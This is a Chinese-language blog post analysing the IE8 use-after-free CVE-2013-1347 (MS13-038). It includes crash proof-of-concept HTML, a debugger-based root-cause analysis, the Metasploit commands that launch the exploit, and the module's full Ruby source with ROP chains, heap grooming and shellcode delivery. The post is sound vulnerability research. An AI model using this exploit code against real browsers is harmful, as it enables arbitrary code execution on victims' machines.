CVE-2013-1347 漏洞研究

7erry

2013 年 5 月 1 日美国劳工部遭受到「水坑」型 APT 攻击,该攻击的主要利用漏洞即为 CVE-2013-1347。美国劳工部网站因被 APT 攻击挂马而导致每个访问该网站的受害者在本地加载 mshtml.dll 和 jscript.dll 两个动态链接库对网页内容进行解析时触发恶意脚本

影响范围:

Microsoft IE 8 running on
Microsoft Windows Server 2003 SP1/SP2
Microsoft Windows Vista SP2
Microsoft Windows XP SP2/SP3

漏洞分析

开启 hpa 后调试运行 IE 8 并打开 PoC,选择允许阻止的内容后因 ecx 指向非法地址触发 Access Violation 异常而崩溃,查看 ecx 指向的非法地址所属堆块信息发现该堆块已被 free。栈回溯查看崩溃时栈顶返回地址前的指令,发现为虚函数调用指令。调试这边只能先开摆了从 PoC 入手。

查看堆块信息时会发现它曾被 CGenericElement 对象的析构方法释放过,但这一漏洞的成因与该对象没什么关系,哪怕 CVE-2013-1347 被习惯称作 CGenericElement UAF 漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
f0=document.createElement('span');
document.body.appendChild(f0);

f1=document.createElement('span');
document.body.appendChild(f1);

f2=document.createElement('span');
document.body.appendChild(f2);

document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
f1.appendChild(document.createElement('table')); //has to be a table

try{
f0.offsetParent=null; //required
}catch(e){ }

f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required
CollectGarbage();
</script>
</body>
</html>

还有一份最简版本的 PoC 为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!doctype html>
<HTML>
<head>
<script>
function helloWorld() {
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";

Math.atan2(0xbadc0de, "before datalist")
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));

try { f0.offsetParent=null;}
catch(e) { }
f2.innerHTML = "";
f1.innerHTML = "";
f0.appendChild(document.createElement('hr'));
CollectGarbage();
}

</script>
</head>
<body onload="eval(helloWorld());">
</body>
</html>

注意到 PoC 先是创建并渲染了 3 棵树,随后为两棵树添加了两个不同元素类型的子节点,并使添加了内联元素子节点的那棵树的 offsetParent 属性为 null。紧接着 PoC 删除了被添加子节点的树并为剩下的第三棵树添加了 hr 标签子节点,然后显式地进行了垃圾回收

在理解了 PoC 做了什么之后,就可以去尝试逆向 IE 引擎的 JS 解释器,查找 mshtml.dll 中与 createElement 有关的符号并查阅手册后发现 CDocument::createElement 函数通过调用 CDocument::CreateElementHelper 函数进行相关处理,CDocument::CreateElementHelper 函数又会调用 CMarkup::CreateElement 函数处理,CMarkup::CreateElement 函数则调用 CreateElement 函数处理,CreateElement 函数再根据创建对象调用对应对象的 CreateElement 函数进行创建,例如创建 span 对象将会调用 CSpanElement::CreateElement 函数进行创建,而 PoC 也的确创建的 span 对象,因此继续跟进到 CSpanElement::CreateElement 函数,该函数将通过 HeapAlloc 函数申请大小为 0x28 的堆块然后调用 CElement::CElement 函数。CElement::CElement 函数将会把创建的对象放进此前申请的堆块中

大部分元素创建时虽然调用的函数链不同,分配的内存堆块大小也不同,例如 span 元素会分配 0x28 而 CGenericElement 元素会分配 0x38,但都会经过 CElement::CElement 函数,

即 span 元素被创建时,函数调用链如下所示

1
2
3
4
5
6
CDocument::createElement
-> CDocument::createElementHelper
-> CMarkup::CreateElement
-> CreateElement
-> CSpanElement::CreateElement
-> CElement::CElement

需要注意的是 f0,f1,f2 要是内联元素,不一定非要是 span,同时 f1 需要添加一个块元素,f2 需要添加一个内联元素

通过类似过程逆向得出 appendChild 操作由以下函数调用链执行

1
2
3
4
5
6
CElement::appendChild
-> CElement::InsertBefore
-> CElement::InsertBeforeHelper
-> CDoc::InsertElement
-> CMarkup::InsertElementInternal
-> CTreeNode::CTreeNode

这样我们便能够通过在对应函数位置下条件断点的方式,即在 CElement::CElementCTreeNode::CTreeNode 函数处下断点并打印寄存器的值,得到 PoC 中所有创建的对象的地址。结合程序触发 Access Violation 异常而崩溃时的寄存器值最终能够得出存在漏洞的对象是此处创建的

1
f2.appendChild(document.createElement('datalist'));

故被 UAF 的内存堆块实际上是 datalist 元素的 CTreeNode 对象。再接着之前的方式逆向之后的 JS 语句,发现对 f0.offsetParent 的置空操作由 CElement::get_offsetParent 函数执行,它会调用 CElement:GetOffsetParentHelper 函数,并对 CTreeNode 中的值进行修改,通过查阅 IE 源码或阅读手册也可以得到 CTreeNode 内各个偏移量处的值对应的字段,但更直接的办法是对被修改的位置下读断点,会发现程序断在 CTreeNode::GetCharFormat 函数处,故被修改的值,更具体地说是 CTreeNode + C 处的值是 CTreeNode 对象的 CharFormat 字段值,查阅手册发现该字段的整数值会影响对象的渲染,若该整数值值小于零则不会重新渲染 HTML 元素

CharFormat 字段值疑似对象的引用计数

CTreeNode::GetCharFormat 函数会令其值大于零而被再次渲染,而再次渲染的结果则是 CTreeNode 对象不会被释放但其内部却依然存有指向被释放的 datalist 结点,即一个 CGenericElement 对象的指针,因而导致了 UAF 漏洞并在后续 f0.appendChild(document.createElement('hr')); 语句执行后进行的 CTreeNode 的寻址流程和显式调用垃圾回收后的再次渲染流程中将其触发

最后的漏洞成因解释有些笼统,原因是我感觉分析到这一步,把剩余部分当作黑盒就差不多够了,要完全解释这个漏洞的成因会有些复杂。简略地说就是因为 f2.offsetParent = null 这个语句导致了页面的重新渲染,进而导致了 CTreeNode 对象被 SLayoutRun 引用。在这一过程中,IE 会根据页面标签的性质做不同类型的操作。进行的操作可能和块与内联标签的具体处理逻辑有关,即只有紧挨者的标签(offsetParent)是块元素时,内联元素才会通过 mshtml!CCssDocumentLayout::GetPage 中的 if 判断进入到 CLayoutBlock::BuildBlock 函数中被 SLayoutRun 引用。同时也只有 f0 在添加 hr 标签子节点时 CGenericElement 的 CTreeNode 和 CElement 能够被意外地没被释放并在后续渲染 hr 标签表示的水平分割线时对 CTreeNode 进行寻址和引用。看雪精华帖的 LarryS 师傅对它进行了更细致的分析,可参阅看雪论坛精华帖进行更进一步的了解

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2013-1347

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ie_cgenericelement_uaf 2013-05-03 good No MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability
1 \_ target: Automatic . . . .
2 \_ target: IE 8 on Windows XP SP3 . . . .
3 \_ target: IE 8 on Windows Vista . . . .
4 \_ target: IE 8 on Windows Server 2003 . . . .
5 \_ target: IE 8 on Windows 7 . . . .


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/browser/ie_cgenericelement_uaf
After interacting with a module you can manually set a TARGET with set TARGET 'IE 8 on Windows 7'

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/browser/ie_cgenericelement_uaf
msf6 exploit(windows/browser/ie_cgenericelement_uaf) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
       Name: MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability
Module: exploit/windows/browser/ie_cgenericelement_uaf
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2013-05-03

Provided by:
Unknown
EMH
juan vazquez <juan.vazquez@metasploit.com>
sinn3r <sinn3r@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic
1 IE 8 on Windows XP SP3
2 IE 8 on Windows Vista
3 IE 8 on Windows Server 2003
4 IE 8 on Windows 7

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the local machi
ne or ******* to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1024
Avoid: 1 characters

Description:
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CGenericElement object is freed, but a
reference is kept on the Document and used again during rendering, an invalid
memory that's controllable is used, and allows arbitrary code execution under the
context of the user.

Please note: This vulnerability has been exploited in the wild on 2013 May, in
the compromise of the Department of Labor (DoL) Website.

References:
https://nvd.nist.gov/vuln/detail/CVE-2013-1347
OSVDB (92993)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2013/MS13-038
https://www.kb.cert.org/vuls/id/237655
http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx
http://r-7.co/IE8-DOL


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/browser/ie_cgenericelement_uaf) > set payload windows/exec
msf6 exploit(windows/browser/ie_cgenericelement_uaf) > set CMD calc.exe
msf6 exploit(windows/browser/ie_cgenericelement_uaf) > exploit

随后 MSF 将在本地启动 Web Server 并在攻击目标访问时为其恶意 HTML 文件以触发漏洞

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploit/windows/browser/ie_cgenericelement_uaf.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::Match::WINDOWS,
:rank => GoodRanking
})

def initialize(info={})
super(update_info(info,
'Name' => "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => {...},
'Platform' => 'win',
'Targets' => [...],
'Privileged' => false,
'DisclosureDate' => '2013-05-03',
'DefaultTarget' => 0))

register_options([...])
end

def get_target(agent)
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def get_payload(t, cli)
rop_payload = ''

# Extra junk in the end to make sure post code execution is stable.
p = payload.encoded

case t['Rop']
when :msvcrt
align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
rop_payload = ''
if t.name == 'IE 8 on Windows XP SP3'
rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'})
elsif t.name == 'IE 8 on Windows Server 2003'
rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'})
end

else
code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
code << p
code << rand_text_alpha(12000)

rop_payload = generate_rop_payload('java', code)
end

return rop_payload
end

def load_exploit_html(my_target, cli)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end

padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))


html = %Q|
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
#{js_mstime_malloc}

function helloWorld()
{
sparkle = unescape("ABCD");
for (i=0; i < 2; i++) {
sparkle += unescape("ABCD");
}
sparkle += unescape("AB");
sparkle += unescape("#{js_payload}");
magenta = unescape("#{align_esp}");
for (i=0; i < 0x70/4; i++) {
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
else { magenta += unescape("#{align_esp}"); }
}
magenta += sparkle;

document.body.contentEditable="true";
f0 = document.createElement('span');
f1 = document.createElement('span');
f2 = document.createElement('span');
document.body.appendChild(f0);
document.body.appendChild(f1);
document.body.appendChild(f2);
for (i=0; i < 20; i++) { document.createElement("img"); }
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
CollectGarbage();
f1.appendChild(document.createElement('table'));
try { f0.offsetParent=null;}
catch(e) { }
f2.innerHTML = "";
f1.innerHTML = "";
f0.appendChild(document.createElement('hr'));
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^ {4}/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

IE8 中存在一个叫做 t:ANIMATECOLOR 的标签,其标签值为一个用分号分隔的字符串。标签对象的每个元素都时一个指针,指向分号分隔出的字符串,因此其大小取决于分号的个数,即我们可以任意控制该对象的大小和其作为指针的元素指向的内容。由漏洞分析得知 UAF 对象的大小为 0x4c,故 exp 创建了包含 0x4c / 4 = 13 个分号的字符串,且第一个分号前的字符串被用于覆盖虚表指针。随后即可劫持程序执行流到 ROP 链上再跳转到 shellcode 上是新鲜任意代码执行

漏洞修复

相应渲染逻辑被修改后漏洞修复

Reference

Microsoft Security Bulletin MS13-038 - Critical
Github - CVE-2013-1347
NVD - CVE-2013-1347
CVE - CVE-2013-1347
漏洞战争

  • Title: CVE-2013-1347 漏洞研究
  • Author: 7erry
  • Created at : 2025-03-15 18:53:57
  • Updated at : 2025-03-15 18:53:57
  • Link: https://7erryx.github.io/2025/03/15/Vulnerability Investigation/CVE-2013-1347 漏洞研究/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CVE-2013-1347 漏洞研究